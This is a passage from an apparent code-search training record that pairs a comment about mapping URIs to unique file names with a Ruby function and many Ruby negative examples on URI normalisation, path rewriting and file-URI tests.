"0.50917727",
"0.5087944",
"0.5081983",
"0.50817144",
"0.50760704",
"0.5068383",
"0.5065908",
"0.5061557",
"0.50585455",
"0.5058047",
"0.5048705",
"0.5048705",
"0.50436026",
"0.5039232",
"0.5038403",
"0.50308615",
"0.5027037",
"0.5021833"
] | 0.0 | -1 |
XXX this hasn't been tested thoroughly. most likely does the wrong thing for at least some inputs TODO should maintain a table of uri > path mappings for anything that gets changed or truncated so that we can choose unique paths when there is a collision. then all uris will be mapped uniquely and correctly | def uri_to_filename(uri, abspath = false)
filename = File.join($aliases[0], (uri.path[-1] == '/' ? uri.path + 'index.html' : uri.path).gsub(/[:*?"<>|]/, '_'))
filename = File.join(Dir.pwd, filename) if abspath
filename = File.join(filename, 'index.html') if File.directory?(filename)
filename += "_#{uri.query.gsub(/[:*?"<>|\/\\]/, '_')}" if uri.query
# windows is stupid and call only handle paths <= 259 chars in length...
# silently truncating causes potential problems but it's good enough for now
filename = filename[0..258] if Utility.is_windows? and filename.length > 259
filename
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def normalize_uri(*strs)\n new_str = strs * '/'\n new_str = new_str.gsub!('//', '/') while new_str.index('//')\n new_str\n end",
"def update_duplicate_uri\n # Checking if multiple content are present with the same uri the updating the uri\n duplicate_entries = Content.where(:uri=>self.uri)\n\n # Only change the uri if more than one entry is found for the current uri\n if duplicate_entries.length > 1\n old_uri = self.uri\n new_uri = old_uri+'_'+rand(100000).to_s\n\n # Updating the current uri with the newly generated uri\n self.update_attributes(:uri => new_uri)\n end\n # End of code for handling the content with same uri\n end",
"def normalize_uri(*strs)\n new_str = strs * \"/\"\n\n new_str = new_str.gsub!(\"//\", \"/\") while new_str.index(\"//\")\n\n # Makes sure there's a starting slash\n unless new_str[0,1] == '/'\n new_str = '/' + new_str\n end\n\n new_str\n end",
"def uri_normalizer; end",
"def normalize_path(url); end",
"def normalize_path(url); end",
"def paths_sequences_from_uri(uri)\n paths = uri.paths[0..-2]\n paths.sequences.uniq.map { |i| i.join('/') }\n end",
"def test_valid_unc_uris\n [\n ['file:////example.com/Share/dir/file.ext', '//example.com/Share/dir/file.ext', '\\\\\\\\example.com\\\\Share\\\\dir\\\\file.ext'],\n ['file://///example.com/Share/dir/file.ext', '//example.com/Share/dir/file.ext', '\\\\\\\\example.com\\\\Share\\\\dir\\\\file.ext'],\n\n ['file:////localhost/Share/dir/file.ext', '//localhost/Share/dir/file.ext', '\\\\\\\\localhost\\\\Share\\\\dir\\\\file.ext'],\n ['file://///localhost/Share/dir/file.ext', '//localhost/Share/dir/file.ext', '\\\\\\\\localhost\\\\Share\\\\dir\\\\file.ext'],\n ].each do |str, path, unc|\n uri = URI.parse(str)\n assert_kind_of( URI::FileCommon, uri )\n assert_equal( path, uri.path )\n\n assert_equal( false, uri.local?(localhost: false) )\n assert_equal( false, uri.local?(localhost: true) )\n assert_equal( false, uri.local? )\n assert_equal( false, uri.local?(localhost: :any) )\n\n assert_raise(RuntimeError) { uri.to_file_path(localhost: false) }\n assert_raise(RuntimeError) { uri.to_file_path(localhost: true) }\n assert_raise(RuntimeError) { uri.to_file_path }\n assert_raise(RuntimeError) { uri.to_file_path(localhost: :any) }\n\n assert_equal( unc, uri.to_unc(localhost: false) )\n assert_equal( unc, uri.to_unc(localhost: true) )\n assert_equal( unc, uri.to_unc )\n assert_equal( unc, uri.to_unc(localhost: :any) )\n end\n end",
"def normalize_uri\r\n self.link = Addressable::URI.heuristic_parse(self.link).normalize!.to_s if self.link\r\n end",
"def map *paths\n return if locked?\n @base_url = rootify_url(paths.shift.to_s).freeze\n @canonicals = paths.map { |p| rootify_url(p.to_s) }.freeze\n end",
"def normalize_uri\n \n # Don't do anything on blanks\n return if self.uri.blank?\n\n # Try to parse, and set to nil if it fails\n uri = Addressable::URI.heuristic_parse(self.uri) rescue nil\n\n # Seems like it's possible to get here with a non-blank URI\n return if uri.blank?\n\n # Normalize it!\n self.uri = uri.normalize.to_s\n\n end",
"def extract_uris(uri, uri_content)\n # file must be a directory\n if !File.directory?(uri) then\n return Array.new()\n end\n\n # creating the new uris container\n new_uris = Array.new()\n\n # getting the children of the 'uri' folder\n Dir.foreach(uri) do |f|\n # building the new uri path\n path = \"#{uri}/#{f}\"\n\n # appending the new uris values if they aren't the '.' and '..' directories\n if f != '.' and f != '..' then\n new_uris << path\n end\n end\n\n # returning the new uris\n return new_uris\n end",
"def normalize\n uri = dup\n uri.normalize!\n uri\n end",
"def normalize_url(path)\n @known_pairs ||= {}\n @public_directories_regex ||= Regexp.new(Bones.public_directories.join('|'))\n \n if v = @known_pairs[path]\n return v\n else\n value = case\n when path =~ /^(\\w{3,}:\\/\\/|mailto)/\n # don't do anything to this type of URL\n return path\n when path =~ @public_directories_regex\n path\n when File.directory?('pages' / path)\n path\n else\n # don't add .html if there's already an extension\n path =~ /\\..+/ ? path : path + '.html'\n end\n \n @known_pairs[path] = options.base / value\n end \n end",
"def update_paths_linked_to_from_path(document)\n document.domain_specific_paths.each do |url|\n link_uri_path = normalize_path Addressable::URI.parse(url.strip).path\n document_uri_path = normalize_path document.uri.path\n next if link_uri_path == document_uri_path\n\n store_path link_uri_path\n store_path_linked_to_from(link_uri_path, [document_uri_path])\n end\n end",
"def uri_normalize(uri)\n \treturn 'http://' + uri unless uri =~ /http:\\/\\//\n \turi\n\tend",
"def uri_normalize(uri)\n \treturn 'http://' + uri unless uri =~ /http:\\/\\//\n \turi\n\tend",
"def short_url_algorithm()\n \n unique_id_length = 3\n base64 = Base64.encode64(self.original_url)\n join_url = (base64.split('')).sample(unique_id_length).join()\n safe_url = join_url.gsub(\"+\", \"-\").gsub(\"/\",\"_\")\n \n loop do \n self.short_url = @@URL + safe_url\n \n if Url.find_by_short_url(self.short_url).nil?\n break\n else\n unique_id_length = unique_id_length + 1\n end\n \n end\n \n end",
"def fix_paths(doc, count, path)\n doc.xpath('//img').each do |x|\n if x['src'].start_with?('//') or x['src'].start_with?('media')\n next\n end\n if x['src'].start_with?('/')\n x['src'] = Array.new(count, \"../\").join + x['src']\n end\n end\n doc.xpath('//link[@rel=\"stylesheet\"]').each do |y|\n if y['href'].start_with?('/')\n y['href'] = Array.new(count, \"../\").join + y['href']\n end\n end\n doc.xpath('//a').each do |z|\n # Ignore links that only go to anchors.\n if !z['href']\n next\n end\n # Ignore links to anchors and real pages.\n if z['href'].start_with?('#') or z['href'].start_with?('http')\n next\n end\n\n # Actually rewrite the paths now.\n if z['href'] == '/'\n z['href'] = 'http://logstash.net/'\n end\n # Don't rewrite paths that already contain '.html'\n if z['href'] =~ /\\.html/\n next\n end\n\n url, hash = z['href'].split('#')\n url += '.html'\n url = \"#{url}\\##{hash}\" if hash\n z['href'] = url\n end\nend",
"def normalize_links!\n # TODO: normalize Array of Symbol, String, DM::Property 1-jump-away or DM::Query::Path\n end",
"def rebase_hrefs(input, base_uri)\n Utils.rebase_hrefs(input, base_uri) rescue input\n end",
"def check_uri_build\n\n end",
"def normalize_url\n return if self.url.blank?\n normalized = self.url.normalize\n if normalized.blank?\n self.errors.add(:url, \"is invalid\")\n return false\n elsif normalized.match(\"archiveofourown.org/users\")\n self.errors.add(:url, \"cannot be ao3 user\")\n return false\n elsif normalized.match(\"(.*)/collections/(.*)/works/(.*)\")\n normalized = $1 + \"/works/\" + $3\n elsif normalized.match(\"archiveofourown.org/collections\")\n self.errors.add(:url, \"cannot be an ao3 collection\")\n return false\n end\n self.url = normalized\n end",
"def process_uris(element, value, evaluation_context, base, **options)\n return [] if value.to_s.empty?\n add_debug(element) {\"process_uris: #{value}\"}\n value.to_s.split(/\\s+/).map {|v| process_uri(element, v, evaluation_context, base, **options)}.compact\n end",
"def path_set(path)\n absolute_path = (Pathname.new(uri.path) + path).to_s\n rebuild_uri :path => absolute_path\n end",
"def resolve\n\n uri_to_be_resolved = @uri.clone\n \n \n if script? uri_to_be_resolved\n full_path = replace_script_aliases(uri_to_be_resolved)\n elsif alias? uri_to_be_resolved\n full_path = replace_aliases(uri_to_be_resolved)\n else\n full_path = File.join(@conf.document_root,uri_to_be_resolved)\n @uri_without_doc_root = uri_to_be_resolved.clone\n end\n\n if (! File.file? full_path) && ( @http_method.casecmp(\"PUT\") != 0)\n full_path = File.join(full_path,get_directory_index)\n end \n \n @resolved_uri = full_path.clone\n full_path \n end",
"def comparable_uri(string)\n if uri?(string)\n uri = URI.parse(string)\n # Strip any \"www.\" from host\n host = uri.host.sub(/www\\./,'')\n # Treat an empty path as \"/\"\n path = (uri.path.nil? or uri.path.empty?) ? \"/\" : uri.path\n # If path doesn't end with a slash, add it\n path = path.end_with?(\"/\") ? path : path + \"/\"\n # Return [host]/[path]\n host + path\n else\n # If not a URI, just return empty string\n # We don't want to compare or keep around non-URIs\n \"\"\n end\nend",
"def update_file_paths \n if self.url_part_was && self.url_part && self.short_name_changed?\n old_url_part = self.url_part\n old_ref_path = self.assignment_reference_repository.git_path\n set_url_part\n \n if old_url_part == self.url_part\n # Nothing changes\n return\n end\n \n self.save\n \n # Move reference repository folder if necessary\n if File.directory?(old_ref_path) \n new_ref_path = String.new(old_ref_path)\n new_ref_path[new_ref_path.index(File.basename(new_ref_path))..-1] = self.url_part\n \n FileUtils.mv old_ref_path, new_ref_path\n end\n \n # Move assignment repositories if necessary\n self.assignment_offerings.each do |assignment_offering|\n old_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n old_url_part)\n \n if File.directory?(old_assignment_repo_path)\n new_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n self.url_part) \n \n FileUtils.mv old_assignment_repo_path, new_assignment_repo_path\n end \n \n end\n end\n end",
"def process_uri(uri)\n # empty --> this is like an abstract class method\n end",
"def get_possible_uris(page)\n\n @wiki_full_uri = getWikiRepositoryUrl\n\n @uri = URI.parse(@wiki_full_uri)\n\n pageName = page.data['wikiPageName'] # Page name\n\n @patterns = []\n\n # page name can have different working forms ranging from \"page name\" to \"Page-Name\"\n possible_name = [pageName]\n # normalize to lowercase and - as separator\n possible_name += [pageName.gsub(' ', '-').downcase] #page-name\n possible_name += camel_case(pageName, '-') #Page-name + Page name\n possible_name += camel_caps(pageName, '-') #Page-Name + Page Name\n possible_name += [pageName.gsub('-', ' ').downcase] #page name\n\n possible_name.uniq.each do |name|\n @patterns += [\n # possible WORKING internal links patterns that can be found in wiki pages\n # [link text](https://github.com/userName/RepositoryName/wiki/Page-name)\n @wiki_full_uri + '/' + name,\n # [link text](https://github.com/userName/RepositoryName/wiki/Page-name/) trailing slash\n @wiki_full_uri + '/' + name + '/',\n # [link text](/userName/RepositoryName/wiki/Page-name)\n @uri.path + '/' + name,\n # [link text](/userName/RepositoryName/wiki/Page-name/) trailing slash\n @uri.path + '/' + name + '/',\n # [link text](Page-name)\n name\n ]\n end\n\n # Home page has two other patterns that are the wiki root url with no page name\n # because Home is the default page\n if pageName.downcase == 'home'\n @patterns += [\n # home page direct uris\n # [link text](https://github.com/userName/RepositoryName/wiki)\n @wiki_full_uri,\n # [link text](https://github.com/userName/RepositoryName/wiki) trailing slash\n @wiki_full_uri + '/',\n # [link text](/userName/RepositoryName/wiki)\n @uri.path,\n # [link text](/userName/RepositoryName/wiki) trailing slash\n @uri.path + '/'\n ]\n end\n\n return @patterns\n end",
"def extract_uris(uri, uri_content)\n # empty --> this is like an abstract class method\n end",
"def extract_uris(uri, uri_content)\n # in our case, no new uri can be extracted from a web resource\n return Array.new()\n end",
"def normalize_path(path); end",
"def normalize_path(path); end",
"def more_general_uri?(uri1, uri2)\n ua1 = uri1.nil? ? [] : uri1.split('/')\n ua2 = uri2.nil? ? [] : uri2.split('/')\n ua1.each_with_index do |p, i|\n return false unless ua2[i] == p\n end\n true\n end",
"def normalize_uri(uri)\n (uri =~ /^(https?|ftp|file):/) ? uri : \"http://#{uri}\"\n end",
"def parse_uri(input)\n lines = parse_input input\n extract_uri lines\n end",
"def map_paths(orig = @orig, dest = @dest, path = [])\n\n\t\t# we have to duplicate each path array to its own object\n\t\t# to ensure it isn't contaminated by another iteration\n\t\tpath = path.dup\n\t\tpath << orig\n\n\t\tif orig == dest\n\t\t\tif !@successful_paths.include?(path)\n\t\t\t\t@successful_paths << path\n\t\t\t\treturn\n\t\t\tend\n\t\telse\n\t\t\t# get connections\n\t\t\tconnections = orig.connected\n\t\t\t# remove previous stops from possible connections list\n\t\t\tconnections = connections - path\n\t\t\tconnections.each do |c|\n\t\t\t\tmap_paths(c, dest, path)\n\t\t\tend\n\t\tend\n\tend",
"def hash_by_uri\n @hash_by_uri ||= begin\n result = {}\n flatten_hierarchy.each do |c|\n result[c.uri.to_s]=c\n end\n result\n end\n end",
"def extract_domain_specific_paths\n links.map do |link|\n uri = Addressable::URI.parse(link.strip)\n if uri.hostname.nil? || uri.hostname == @uri.hostname\n normalize_path uri.path\n end\n end.compact\n end",
"def normalize_uri(uri)\n (uri =~ /^(https?|ftp|file):/) ? uri : \"http://#{uri}\"\n end",
"def migrate_linked_file?(uri)\n host = uri.host.to_s\n path = uri.path.to_s\n if(host == 'www.ctcc.uio.no')\n if(path != '/' and path != '')\n return true\n else\n return false\n end\n elsif(host != '')\n return false\n end\n return super(uri)\n end",
"def update_uri(p)\n update_attribute(:uri_actual, p)\n end",
"def normalize_url(url); end",
"def normalize_paths(paths)\n paths = [paths] unless paths.is_a?(Array)\n paths.map(&:dup).map do |path|\n raise ArgumentError.new(\"Invalid path: #{path}\") unless valid_path?(path)\n # Strip leading slash from extension path\n path.gsub!(/^\\/(?=\\*.)/, '')\n # Escape some valid special characters\n path.gsub!(/[.+$\"]/) {|s| '\\\\' + s}\n # Replace * wildcards with .* regex fragment\n path.gsub!(/\\*/, '.*')\n \"^#{path}#{END_URL_REGEX}\"\n end\nend",
"def calculate_uri(uri)\n if uri[0] != '/' && uri.index('://') && uri.index('://') > 0\n uri = ::URI.split(uri)[5] # path component of uri\n end\n\n uri = Uri.normalize(uri.gsub('//', '/'))\n base_uri = Uri.normalize(self.base_uri)\n\n if uri.index(base_uri) == 0\n return Http::UrlUtil.decode_path(uri[base_uri.length..-1]).gsub(%r{^/+}, '').gsub(%r{/+$}, '')\n\n elsif \"#{uri}/\" == base_uri\n # A special case, if the baseUri was accessed without a trailing\n # slash, we'll accept it as well.\n return ''\n else\n fail Exception::Forbidden, \"Requested uri (#{uri}) is out of base uri (#{self.base_uri})\"\n end\n end",
"def test_valid_nonlocal_uris\n [\n ['file://example.com/Share/dir/file.ext', 'example.com', '/Share/dir/file.ext', '\\\\\\\\example.com\\\\Share\\\\dir\\\\file.ext'],\n ['file://example.com/Share/dir/file.ext', 'example.com', '/Share/dir/file.ext', '\\\\\\\\example.com\\\\Share\\\\dir\\\\file.ext'],\n ].each do |str, host, path, unc|\n uri = URI.parse(str)\n assert_kind_of( URI::FileCommon, uri )\n assert_equal( path, uri.path )\n assert_equal( host, uri.host )\n\n assert_equal( false, uri.local?(localhost: false) )\n assert_equal( false, uri.local?(localhost: true) )\n assert_equal( false, uri.local? )\n assert_equal( true, uri.local?(localhost: :any) )\n\n assert_raise(RuntimeError) { uri.to_file_path(localhost: false) }\n assert_raise(RuntimeError) { uri.to_file_path(localhost: true) }\n assert_raise(RuntimeError) { uri.to_file_path }\n assert_equal( path, uri.to_file_path(localhost: :any) )\n\n assert_equal( unc, uri.to_unc(localhost: false) )\n assert_equal( unc, uri.to_unc(localhost: true) )\n assert_equal( unc, uri.to_unc )\n assert_raise(RuntimeError) { uri.to_unc(localhost: :any) }\n end\n end",
"def build_url(url)\n # this will remove any of the blank spaces. There is no reason for blank space in the url or brake lines\n url = url.gsub(\" \", \"\").gsub(/\\n/, \"\").gsub(/\\r/, \"\")\n \n \n # Step one tells me that the uri does have a http or a https to use\n one = url.slice(/(https|http)/)\n if one.nil?\n request_response = \"http://\"\n uri_split = url.split(\".\")\n else\n request_response = url.split(\"//\")[0] + \"//\"\n uri_split = url.split(\"//\")[1].split(\".\")\n end\n \n # Step two and three check for the .com and www at the begging. \n # The count is to make sure that is it missing something and not just taking the place of a sub domain.\n if uri_split.count <= 2\n two = url.slice(/(com|gov|org|net|mobi)/)\n three = url.slice(/(www)/)\n # don't add if the thing is there\n if three.nil?\n uri_split.unshift(\"www\")\n end\n if two.nil?\n uri_split << \"com\"\n end\n end\n path_seperator = uri_split[uri_split.length - 1].split(/\\//)\n if path_seperator && path_seperator.length <= 1\n uri_split[uri_split.length - 1] = path_seperator\n end\n string = uri_split.map{ |split| split }.join(\".\").to_s\n # I can't figure this part out but it sucks\n path_thing = string.split(/\\//) \n unless url.blank?\n url = request_response + string\n end\n end",
"def normalize_options(uri_or_options)\n case uri_or_options\n when String, Addressable::URI then DataObjects::URI.parse(uri_or_options).attributes\n when DataObjects::URI then uri_or_options.attributes\n when Pathname then {:path => uri_or_options}\n else\n uri_or_options[:path] ||= uri_or_options.delete(:config) || uri_or_options.delete(:database)\n uri_or_options\n end\n end",
"def create_uri\n end",
"def fix_url\n self.url = UrlNormalizer.normalize_entry_url self.url, self\n end",
"def coerce_uri incoming_uri\n if incoming_uri.is_a? Hash\n Addressable::URI.new deep_hash_normalize(incoming_uri)\n elsif incoming_uri\n Addressable::URI.parse incoming_uri\n end\n end",
"def normalize_paths(paths)\n # do the hokey-pokey of path normalization...\n paths = paths.collect do |path|\n path = path.\n gsub(\"//\", \"/\"). # replace double / chars with a single\n gsub(\"\\\\\\\\\", \"\\\\\"). # replace double \\ chars with a single\n gsub(%r{(.)[\\\\/]$}, '\\1') # drop final / or \\ if path ends with it\n\n # eliminate .. paths where possible\n re = %r{[^/\\\\]+[/\\\\]\\.\\.[/\\\\]}\n path.gsub!(re, \"\") while path.match(re)\n path\n end\n\n # start with longest path, first\n paths = paths.uniq.sort_by { |path| - path.length }\n end",
"def normalize(sources)\n normalized = sources.map do |source|\n uri = URI.parse(source[:url])\n next unless uri.scheme =~ /\\Ahttps?\\z/\n\n s = {}\n s[:url] = \"#{uri.scheme}://#{uri.host}#{uri.path.gsub(/.git$/, '')}\"\n s[:token] = uri.user if uri.user\n s[:branch] = uri.fragment if uri.fragment\n source.merge(s)\n end\n normalized.compact\n end",
"def post_process_uri( val )\n\t\t\treturn URI.parse( val.to_s )\n\t\trescue URI::InvalidURIError => err\n\t\t\tself.log.error \"Error trying to parse URI %p: %s\" % [ val, err.message ]\n\t\t\treturn nil\n\t\trescue NoMethodError\n\t\t\tself.log.debug \"Ignoring bug in URI#parse\"\n\t\t\treturn nil\n\t\tend",
"def categorize_uri(str)\n regex = /\\.+/ # really simple host regex to thwart unwanted strings\n str = \"http://#{str}\" unless str.to_s =~ %r{\\Ahttps?://}\n uri = URI.parse(str.to_s)\n path = uri.path.chomp('/')\n return :unknown if (uri.host =~ regex).nil?\n\n path.empty? ? :host : :url\n rescue URI::InvalidURIError\n :unknown\n end",
"def remap! root, *given_canonicals\n return if mounted?\n new_base_url = rootify_url(root, base_url)\n new_canonicals = Array.new(canonicals + given_canonicals)\n canonicals.each do |ec|\n # each existing canonical should be prepended with new root\n new_canonicals << rootify_url(new_base_url, ec)\n # as well as with each given canonical\n given_canonicals.each do |gc|\n new_canonicals << rootify_url(gc, ec)\n end\n end\n map new_base_url, *new_canonicals.uniq\n end",
"def __build_path(entries)\n parts = entries[0][:path].split('/')\n parts.pop(entries[0][:chunks].length)\n parts.join('/') # stitch parts together to form a path\n end",
"def modify_uri\n uri = @request.uri\n @conf.aliases.each do |a|\n if uri.include? a\n uri = uri.sub(a, @conf.alias_path(a))\n end\n end\n if uri != @request.uri\n return uri\n end\n @conf.script_aliases.each do |a|\n if uri.include? a\n uri = uri.sub(a, @conf.script_alias_path(a))\n end\n end\n uri\n end",
"def update_photo_urls(records, subdirectories)\r\n\r\n updated_records = []\r\n\r\n records.each do |record_hash|\r\n\r\n urls_array = generate_image_urls(record_hash[\"photos\"], subdirectories)\r\n record_hash[\"photos\"] = urls_array\r\n updated_records.push(record_hash)\r\n\r\n end\r\n\r\n return updated_records \r\n\r\nend",
"def fix_oneoff url\n begin\n uri = URI.parse url\n return (\"\" == uri.path) ? url + '/' : url\n rescue\n #puts \"Ran into issue processing #{url}\"\n end\n end",
"def build_uri(uri)\n return uri if @region.nil? && @edge.nil?\n\n parsed_url = URI(uri)\n pieces = parsed_url.host.split('.')\n product = pieces[0]\n domain = pieces[-2, 2]\n new_edge = @edge\n new_region = @region\n\n case pieces.length\n when 4\n new_region ||= pieces[1]\n when 5\n new_edge ||= pieces[1]\n new_region ||= pieces[2]\n end\n\n new_region = @@default_region if !new_edge.nil? && new_region.nil?\n\n parsed_url.host = [product, new_edge, new_region, domain].reject(&:nil?).join('.')\n parsed_url.to_s\n end",
"def map(url, *args)\n #if the last element of args is a hash, take it off and set options\n #to it. Now, if that was there, it should be a hash containing key\n #'default', which, itself has a key of another hash\n #if it wasn't there, then sed options{:default} to the empty Hash\n options = {}\n options = args.pop if args[-1].is_a?(Hash)\n options[:default] ||= {}\n\n #set destintation to nil, and then set it to whatever is at\n #the last inddex of args. Which looks like should be 0 because\n #after that pop, if there's anything left, then we raise an error\n destination = nil\n destination = args.pop if args.size > 0\n raise \"Too many args!\" if args.size > 0\n\n #similar to how we did in controller_and_action get the parts of the\n #url split up into an array based on the forward slash, then take\n #out empty parts (so if the url contained \"//\")\n parts = url.split(\"/\")\n parts.reject! { |part| part.empty? }\n\n #vars and regex_parts are both set to the empty array\n vars, regex_parts = [], []\n\n #so now loop through each part of the array. Each of which is a\n #String\n parts.each do |part|\n #so we're looking at the first letter\n case part[0]\n #if it's a colon, add every following character to the next\n #index of vars. Then put in the next index of regex_parts\n #that the thing to match is any alphanumeric character\n #SO VARS WILL CONTAIN ALL OF OUR SYMBOLS - PATTERNS like\n #:controller, :action, :id\n when \":\"\n vars << part[1..-1]\n regex_parts << \"([a-zA-Z0-9]+)\"\n #if it's a star, add every following character to the next\n #index of vars. And regex_parts gets a /.*/ to match on\n when \"*\"\n vars << part[1..-1]\n regex_parts << \"(.*)\"\n #otherwise, regex_parts simple gets the string at this part of the\n #url (always ignoring \"/\" from the URL of course)\n else\n regex_parts << part\n end\n end\n\n #ok so now we're combining all of the regex parts into a single\n #string, which will be our total regex to match on later\n\n #vars is an array that contains all of the strings that had : or *\n #at the beginning\n\n #destination is either nil or what was at index 0 of args\n #options is either a blank hash or what was the hash at inded 1\n #of args\n regex = regex_parts.join(\"/\")\n @rules.push({ regex: Regexp.new(\"^/#{regex}$\"),\n vars: vars, destination: destination,\n options: options })\n end",
"def field_path_transform(s_share,s_path)\n src_path = @fields[s_path]\n return if src_path.nil? || src_path.empty?\n notify \"Spliting Path:#{s_path} to #{s_share}\"\n result = path_transform(@fields[s_path])\n return if result.values.any?{|val| val.nil?}\n @fields[s_path] = result[:path]\n @fields[s_share] = result[:share]\n patch_url_from_field([s_share,s_path])\n end",
"def normalize_uri(uri, parent_uri = nil)\n return nil if uri.nil?\n\n normalized = uri.is_a?(URI) ? uri : URI.parse(uri)\n\n if normalized.relative?\n return nil if !parent_uri\n normalized = URI.parse(parent_uri).merge(normalized)\n end\n\n scheme = normalized.scheme\n allowed_schemes = [ 'http' ]\n allowed_schemes << 'https' if @options[:allow_ssl]\n return nil unless allowed_schemes.include?(scheme)\n\n normalized = normalized.normalize\n\n query_string = normalized.select(:query)[0]\n normalized = normalized.select(:host, :path).join\n normalized += \"?#{query_string}\" if query_string\n\n normalized = CGI.unescape(normalized)\n normalized = \"#{scheme}://#{normalized}\"\n normalized = normalized.split('#').first\n \n return normalized\n end",
"def initialize_urls\n find(:all, :conditions => {self.url_attribute => nil}).each do |instance|\n instance.send :ensure_unique_url\n instance.save\n end\n end",
"def test_valid_localhost_uris\n [\n ['file://localhost/path/to/file', '/path/to/file', '\\\\\\\\localhost\\\\path\\\\to\\\\file'],\n ].each do |str, path, unc|\n uri = URI.parse(str)\n assert_kind_of( URI::FileCommon, uri )\n assert_equal( path, uri.path )\n\n assert_equal( false, uri.local?(localhost: false) )\n assert_equal( true, uri.local?(localhost: true) )\n assert_equal( true, uri.local? )\n assert_equal( true, uri.local?(localhost: :any) )\n\n assert_raise(RuntimeError) { uri.to_file_path(localhost: false) }\n assert_equal( path, uri.to_file_path(localhost: true) )\n assert_equal( path, uri.to_file_path )\n assert_equal( path, uri.to_file_path(localhost: :any) )\n\n assert_equal( unc, uri.to_unc(localhost: false) )\n assert_raise(RuntimeError) { uri.to_unc(localhost: true) }\n assert_raise(RuntimeError) { uri.to_unc }\n assert_raise(RuntimeError) { uri.to_unc(localhost: :any) }\n end\n end",
"def dedupe_by_uri(records)\n result = []\n seen = {}\n\n records.reverse.each do |record|\n if !seen[record['uri']]\n result << record\n seen[record['uri']] = true\n end\n end\n\n result.reverse\n end",
"def dedupe_by_uri(records)\n result = []\n seen = {}\n\n records.reverse.each do |record|\n if !seen[record['uri']]\n result << record\n seen[record['uri']] = true\n end\n end\n\n result.reverse\n end",
"def process_url(ancestors_path, item)\n default_urlname = (ancestors_path.blank? ? \"\" : \"#{ancestors_path}/\") + item['slug'].to_s\n\n pair = {my_urlname: default_urlname, children_path: default_urlname}\n\n if item['external'] == true || item['visible'] == false\n # children ignore an ancestor in their path if external or invisible\n pair[:children_path] = ancestors_path\n end\n\n pair\n end",
"def setup_uri_path\n self.uri_path = self.class.scope_from_uri(self.uri)\n end",
"def normalize_uri uri\n (uri =~ /^https?:/) ? uri : \"http://#{uri}\"\n end",
"def fix_relative_path(entry)\n feed_url = Addressable::URI.parse(url)\n entry.url = feed_url.scheme + '://' + feed_url.host + entry.url\n end",
"def validate_relative_uri( uri, dir, doc )\n return validate_anchor(uri, doc) if uri.path.empty?\n\n path = if uri.path =~ %r/^\\//\n ::File.join(::Webby.site.output_dir, uri.path)\n else\n ::File.join(dir, uri.path)\n end\n path = ::File.join(path, 'index.html') if ::File.extname(path).empty?\n\n uri_str = path.dup\n (uri_str << '#' << uri.fragment) if uri.fragment\n return if @valid_uris.include? uri_str\n\n if test ?f, path\n valid = if uri.fragment\n validate_anchor(uri, Hpricot(::File.read(path)))\n else true end\n @valid_uris << uri_str if valid\n else\n @log.error \"invalid URI '#{uri.to_s}'\"\n end\n end",
"def uri=(_arg0); end",
"def uri=(_arg0); end",
"def uri=(_arg0); end",
"def uri=(_arg0); end",
"def change_hrefs(html)\n DOM.walk(html) do |node|\n for attr_name in %w{href src}\n attr_obj = node.attributes[attr_name]\n\n # Ignore if its blank\n next if !attr_obj\n\n # URL encode any spaces\n orig_href = attr_obj.to_s.gsub(\" \", \"%20\")\n\n begin\n src = URI(orig_href)\n rescue\n log \"#{orig_href} not a valid URI\"\n next\n end\n\n if internal_link?(src.to_s)\n linked_item = nil\n\n if src.path == \"\"\n # If its just an anchor like '#this' just set to the current file\n linked_item = self\n else\n # Match on the unescaped href\n unescaped_path = URI::unescape(src.path)\n linked_item = get_item(unescaped_path)\n end\n\n # Change link\n if linked_item\n new_path = linked_item.normalized_hashed_path(:relative_to => self)\n new_path = URI(new_path)\n\n if src.fragment\n new_path.fragment = src.fragment\n end\n\n log \"Changing #{src.to_s} to #{new_path.to_s}\"\n attr_obj.content = new_path.to_s\n else\n log \"No item in manifest for #{src}\"\n end\n end\n end\n end\n end",
"def uri\n @uri ||= select { |type,value| type == :uri }.map do |(type,value)|\n URI.parse(value)\n end\n end",
"def parse(uri); end",
"def uri (name,default=\"\")\n \n name=name.to_s\n #FIXME: bad urls (for example just www.example.com will produce an endless-loop\n if name.try(:include?, \"://\")\n return name[0..name.length-2] if name[-1,1]==\"/\"\n return name[0..name.length]\n else\n name +=\"/\" unless (name[name.length-1..name.length-1] == (\"/\" || \"#\")) || name.try(:include?, \":\")\n\n if name.index(\":\") \n t= @object_namespaces[name.split(\":\")[0].to_sym]\n t ||=\"\"\n t += \"/\" unless (t[t.length-1..t.length-1] == (\"/\" || \"#\") || t.blank?) || name.try(:include?, \":\")\n return uri( t+ normalize_local_name(name.split(\":\")[1])+\"/\")\n else \n t= default.blank? ? @base_uri : default\n t += \"/\" unless t[t.length-1..t.length-1]==\"/\"\n return uri( t + normalize_local_name(name))\n end\n end\n end",
"def build_uri\n unless title.blank?\n self.uri = title.mb_chars.normalize(:d).split(//u).reject { |e| e.length > 1\n }.join.gsub(\"\\n\", \" \").gsub(/[^a-z0-9\\-_ \\.]+/i, '').squeeze(' '\n ).gsub(/ |\\.|_/, '-').gsub(/\\-+/, '-').gsub(/(^\\-)|(\\-$)/, '').downcase\n end\n end",
"def normalize\n Wgit::Url.new(@uri.normalize.to_s)\n end",
"def join(*uris)\n joined_parts = object.dup.delete_if {|k, v| %i(user password host port).include?(k)}\n\n uris.each do |uri|\n uri = RDF::URI.new(uri) unless uri.is_a?(RDF::URI)\n next if uri.to_s.empty? # Don't mess with base URI\n\n case\n when uri.scheme\n joined_parts = uri.object.merge(path: self.class.normalize_path(uri.path))\n when uri.authority\n joined_parts[:authority] = uri.authority\n joined_parts[:path] = self.class.normalize_path(uri.path)\n joined_parts[:query] = uri.query\n when uri.path.to_s.empty?\n joined_parts[:query] = uri.query if uri.query\n when uri.path[0,1] == '/'\n joined_parts[:path] = self.class.normalize_path(uri.path)\n joined_parts[:query] = uri.query\n else\n # Merge path segments from section 5.2.3\n # Note that if the path includes no segments, the entire path is removed\n # > return a string consisting of the reference's path component appended to all but the last segment of the base URI's path (i.e., excluding any characters after the right-most \"/\" in the base URI path, or excluding the entire base URI path if it does not contain any \"/\" characters).\n base_path = path.to_s.include?('/') ? path.to_s.sub(/\\/[^\\/]*$/, '/') : ''\n joined_parts[:path] = self.class.normalize_path(base_path + uri.path)\n joined_parts[:query] = uri.query\n end\n joined_parts[:fragment] = 